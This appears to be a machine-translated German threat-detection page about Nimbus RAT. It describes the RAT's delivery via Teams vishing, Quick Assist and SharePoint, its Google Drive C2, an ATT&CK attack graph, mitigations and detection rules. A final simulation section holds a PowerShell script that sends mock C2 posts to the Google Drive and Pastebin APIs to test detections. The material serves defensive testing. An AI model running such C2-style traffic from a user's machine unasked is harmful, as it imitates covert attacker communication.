Nimbus RAT wird über Microsoft Teams und Google Drive verbreitet
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Bedrohungsakteure nutzten Microsoft Teams Voice Phishing zusammen mit Quick Assist, um einen Java-basierten Remote-Access-Trojaner namens Nimbus RAT bereitzustellen. Die Malware verwendet Google Drive und Google Sheets als seine Command-and-Control-Kanäle und beinhaltet eine eigene gebündelte OpenJDK-Runtime. Für den Diebstahl von Anmeldedaten verwendet sie entweder eine gefälschte Windows-Sicherheitsaufforderung oder die native CredUI-API, um Benutzergeheimnisse zu erfassen.
Untersuchung
Die Threat Response Unit von eSentire rekonstruierte die vollständige Eindringkette unter Verwendung von Mail-Flow-Protokollen, Endpunkt-Telemetrie und statischer Analyse der Java-Malware. Die Kampagne kombinierte E-Mail-Bombardierung, einen vishing-Anruf über Teams, Quick Assist Remote-Unterstützung, ein bei Pastebin gehostetes Anleitungsblatt und einen kompromittierten SharePoint-Mandanten zur Verteilung der Nutzlast.
Minderung
Empfohlene Abwehrmaßnahmen umfassen die Deaktivierung externer Teams-Nachrichten von unbekannten Mandanten, das Blockieren von Quick Assist, wo es nicht erforderlich ist, das Alarmieren bei Spitzen in der E-Mail-Bombardierung und das Überwachen javaw.exe Ausführung von ungewöhnlichen Standorten sowie das Erkennen verdächtiger Google Drive API-Aufrufe, die von unerwarteten Prozessen initiiert werden.
Antwort
Wenn Nimbus RAT-Aktivitäten erkannt werden, isolieren Sie das betroffene System, beenden Sie alle zugehörigen javaw.exe Prozesse, entfernen Sie das C:ProgramDataInboxCorePro Verzeichnis und alle zugehörigen Autostart-Verknüpfungen und ziehen Sie eine vollständige System-Neuabbildung in Betracht. Überprüfen Sie auch die Google Workspace-Auditprotokolle, um unbefugte Google Drive-Anwendungsgenehmigungen zu identifizieren.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% Knoten – Aktionen action_phishing[„<b>Aktion</b> – <b>T1566.003 Phishing: Spearphishing über Dienst</b><br/>E-Mail-Bombing sendet Abonnement-Bestätigungsnachrichten, die eine spätere Microsoft-Teams-Vishing-Anrufkette vorbereiten“] class action_phishing action action_trusted_rel[„<b>Aktion</b> – <b>T1199 Vertrauensbeziehung</b><br/>Angreifer erstellt einen Wegwerf-Microsoft-365-Tenant oder kompromittiert einen legitimen Tenant, um vertrauenswürdig erscheinende externe Teams-Nachrichten zu senden“] class action_trusted_rel action action_user_exec_file[„<b>Aktion</b> – <b>T1204.002 Benutzerausführung: Bösartige Datei</b><br/>Opfer wird über Pastebin angewiesen, ein ZIP von einer kompromittierten SharePoint-Seite herunterzuladen und die JAR-Datei mit javaw.exe auszuführen“] class action_user_exec_file action action_user_exec_copy[„<b>Aktion</b> – <b>T1204.004 Benutzerausführung: Copy & Paste Missbrauch</b><br/>Angreifer fügt die Pastebin-URL in den Teams-Chat ein und täuscht den Benutzer, die Seite zu besuchen“] class action_user_exec_copy action action_persistence[„<b>Aktion</b> – <b>T1547.001 Autostart beim Booten oder Login</b><br/>Persistenz wird durch Import einer .reg-Datei und einen Startup-Ordner-Link erreicht, der den Java-RAT startet“] class action_persistence action action_credential_harvest[„<b>Aktion</b> – <b>T1056.002 Eingabeerfassung: GUI-Eingabecapture</b><br/>Nimbus RAT zeigt ein gefälschtes Java-Swing-Anmeldedialogfenster sowie die native Windows-CredUI-Eingabeaufforderung zur Credential-Erfassung“] class action_credential_harvest action action_c2[„<b>Aktion</b> – <b>T1102.002 Webdienst: Bidirektionale Kommunikation</b><br/>Command-and-Control erfolgt über Google Drive mit Service-Account oder OAuth2 und verschlüsselten Polling-Dateien“] class action_c2 action action_exfil[„<b>Aktion</b> – <b>T1567.002 Exfiltration über Webdienst</b><br/>Gesammelte Daten wie Screenshots und Dateien werden in denselben Google-Drive-Ordner hochgeladen, der auch für C2 genutzt wird“] class action_exfil action action_network_disc[„<b>Aktion</b> – <b>T1016 Systemnetzwerkkonfigurations-Erkennung</b><br/>Der RAT führt Befehle wie ipconfig /all aus, um Netzwerkadapterinformationen zu sammeln“] class action_network_disc action %% Tools / Malware / Prozesse tool_email_bomb[„<b>Tool</b> – Name: E-Mail-Bombing-Skript“] class tool_email_bomb tool tool_teams[„<b>Tool</b> – Name: Microsoft Teams (Vishing)“] class tool_teams tool tool_sharepoint[„<b>Tool</b> – Name: Kompromittierte SharePoint-Seite“] class tool_sharepoint tool malware_nimbus[„<b>Malware</b> – Name: Nimbus RAT (Java)“] class malware_nimbus malware file_jar[„<b>Datei</b> – Name: InboxCorePro.jar (Java-Payload)“] class file_jar data process_javaw[„<b>Prozess</b> – Name: javaw.exe (führt JAR aus)“] class process_javaw process file_reg[„<b>Datei</b> – Name: Registry-Import .reg“] class file_reg data file_startup[„<b>Datei</b> – Name: Verknüpfung im Autostart-Ordner“] class file_startup data service_gdrive[„<b>Dienst</b> – Name: Google Drive (C2 und Exfiltration)“] class service_gdrive data process_ipconfig[„<b>Prozess</b> – Befehl: ipconfig /all“] class process_ipconfig process %% Verbindungen action_phishing –>|nutzt| tool_email_bomb action_phishing –>|führt_zu| action_trusted_rel action_trusted_rel –>|nutzt| tool_teams action_trusted_rel –>|liefert| action_user_exec_copy action_user_exec_copy –>|liefert_Link_zu| action_user_exec_file action_user_exec_file –>|download_von| tool_sharepoint action_user_exec_file –>|ausführt| file_jar file_jar –>|wird_ausgeführt_von| process_javaw process_javaw –>|startet| malware_nimbus malware_nimbus –>|erstellt| action_persistence action_persistence –>|importiert| file_reg action_persistence –>|platziert| file_startup malware_nimbus –>|erfasst| action_credential_harvest malware_nimbus –>|kommuniziert_mit| service_gdrive service_gdrive –>|unterstützt| action_c2 service_gdrive –>|unterstützt| action_exfil malware_nimbus –>|führt_aus| action_network_disc action_network_disc –>|führt_aus_Befehl| process_ipconfig
Angriffsfluss
Erkennungen
Java-App-Ausführung von verdächtiger Stelle (über Prozess-Erstellung)
Ansehen
Verdächtige Binärdatei / Skripte im Autostart-Ort (über Datei-Ereignis)
Ansehen
Mögliches GoogleApis-Domäne durch bekannten missbrauchten Prozess aufgelöst (über DNS-Abfrage)
Ansehen
Mögliche Aktivität des Google-Befehls- und Kontroll-Dienstprogramms (über Proxy)
Ansehen
IOC (HashSha256) zur Erkennung: Nimbus RAT: Wie Bedrohungsakteure Microsoft Teams und Google Drive missbrauchen, um eine Java-RAT bereitzustellen
Ansehen
Erkennung des verdächtigen Gebrauchs von Google APIs und Pastebin [Proxy]
Ansehen
Erkennung der Nimbus RAT-Ausführung über javaw.exe und Aufklärungskommandos [Windows-Prozesserstellung]
Ansehen
Quick Assist und regedit.exe Ausführung bei Vishing-Angriff [Microsoft Windows Sicherheitsereignislog]
Ansehen
Simulation-Ausführung
Voraussetzung: Die Telemetrie- & Baseline-Vorab-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die erwartete Telemetrie zu generieren, die durch die Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
Der Bedrohungsakteur hat das Endgerät bereits mit der Nimbus RAT-Binärdatei kompromittiert. Um einen verdeckten C2-Kanal zu etablieren, sendet die RAT zwei ausgehende HTTP POST-Anfragen:- Google Drive API-Aufruf – lädt eine kleine JSON-Nutzlast hoch zu
https://www.googleapis.com/drive/v3/files?uploadType=media, ahmt das „download‑payload“-Verhalten der RAT nach. - Pastebin Paste – postet eine base‑64‑kodierte Befehlszeichenfolge an
https://pastebin.com/api/api_post.phpunter Verwendung des öffentlichen API-Schlüssels.
Beide Anfragen werden über PowerShell’s
Invoke-WebRequestausgeführt, um sicherzustellen, dass die Firewall-Protokolle dasDomainFeld enthalten (googleapis.comandpastebin.com). Der Angreifer führt die Befehle im Kontext des kompromittierten Benutzers aus, um sich mit normaler Aktivität zu vermischen. - Google Drive API-Aufruf – lädt eine kleine JSON-Nutzlast hoch zu
-
Regressionstest-Skript:
# -------------------------------------------------------------- # Nimbus RAT C2 Simulation – löst Sigma-Regel bei Domänenübereinstimmung aus # -------------------------------------------------------------- # 1. Google Drive API-Schein-Upload (keine Authentifizierung – Fokus auf Domänentelemetrie) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Schein-Upload an Google Drive API gesendet" } catch { Write-Warning "Google Drive-Anfrage fehlgeschlagen (in Sandbox erwartet): $_" } # 2. Pastebin öffentliche API-Post (erfordert einen Entwicklerschlüssel – mit einem Platzhalter) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- für echten Test mit gültigem Schlüssel ersetzen $pastebinText = "echo 'Simulierter Befehl von C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Schein-Befehl an Pastebin gepostet" } catch { Write-Warning "Pastebin-Anfrage fehlgeschlagen (in Sandbox erwartet): $_" } # -------------------------------------------------------------- # Ende der Simulation # -------------------------------------------------------------- -
Aufräumbefehle:
# Entfernen Sie alle temporären Dateien oder Variablen, die während der Simulation verwendet wurden Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Bereinigung abgeschlossen."